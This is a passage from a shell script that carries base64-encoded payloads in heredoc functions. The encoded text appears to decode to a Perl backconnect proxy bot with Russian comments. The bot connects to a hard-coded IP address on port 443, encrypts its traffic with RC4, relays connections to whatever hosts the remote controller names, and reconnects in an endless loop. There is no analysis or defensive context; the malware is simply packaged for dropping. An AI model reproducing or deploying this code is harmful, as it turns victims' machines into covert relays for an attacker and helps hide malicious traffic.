ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_62() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTcnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
